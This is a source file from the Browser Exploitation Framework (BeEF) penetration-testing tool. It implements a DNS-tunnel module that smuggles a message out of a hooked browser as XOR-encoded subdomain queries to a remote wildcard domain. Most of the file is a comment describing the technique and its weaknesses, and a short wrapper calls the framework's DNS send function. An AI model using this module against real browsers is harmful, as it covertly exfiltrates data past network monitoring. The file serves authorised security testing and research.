//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56/*7Poor man's unidirectional DNS tunnel in JavaScript.8The largely-untested, highly experimental first draft.910How it works:1112A remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information.1314A domain and message are taken as input. The message is XOR'd, url encoded, the "%" are replaced with "." and the message is split into segments of 230 bytes. The segments are sent in sequence however there are plans to randomize the order.1516To allow the original message to be pieced back together each message is allocated an id and each DNS query is given a sequence number. The final domain name used in the DNS query is structured as follows:1718MESSAGE_ID.SEGMENT_SEQUENCE_NUMBER.TOTAL_SEGMENTS.XOR_KEY.MESSAGE_SEGMENT.REMOTE_DOMAIN1920Assuming a remote domain of max length 63 characters this leaves 167 characters for our message segment in each query as per the following breakdown:2122[5].[5].[5].[5].[255-5-5-5-5-5-DOMAIN_LENGTH].[DOMAIN_LENGTH]2324This approach, while flawed and simplistic, should comply with the limitations to DNS according to RFC 1035:25o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters26o Domain names are limited to 255 characters in length (including dots)27o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)28o Subdomains are limited to 63 characters in length (including the trailing dot)2930Each segment is sent by appending an image to the DOM containing the query as the image source. The images are later destroyed.3132Caveats:33o Unidirectional - Data can only be sent one way.34o Message size - Limited to messages less than 64KB in length.35o Limited by JavaScript strings. Byte code needs to be converted to a compatible string before it can be sent. There's also lots of wasted space. Converting to hex would be much cleaner and would save a few bytes for each query.36o Throttling - There is no throttling. The browser may only initiate x amount of simultaneous connections. The requests should be throttled to avoid hitting the cap. TODO: Introduce a wait delay between each request to partially account for this.37o Time consuming - It takes forever and there is no resume feature.38o Encryption - Uses very weak "encryption" (XOR) and the key is transferred with the request.39o Encoding - Using encodeURI() is a terrible alternative to using base64 for a few reasons. It *might* fail horribly if a high value unicode character is XOR'd with a high value key. It *will* fail horribly if a low value key is used.40o Compression - The requests are not compressed.41o Encoding - Currently uses JavaScript fromCharCode unicode rather than a modified version of base64.42o Padding - The last query contains no padding which makes it easy for network administrators to spot. This isn't really a problem as the sequence numbers are in plain sight.4344*/45beef.execute(function() {4647var msgId = "<%= @command_id %>";48var wait = "<%= @wait %>";49var domain = "<%= @domain %>";50var message = "<%= @message %>";5152beef.net.dns.send(msgId, message, domain, wait, function(num) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+num+' requests sent') } );5354});55565758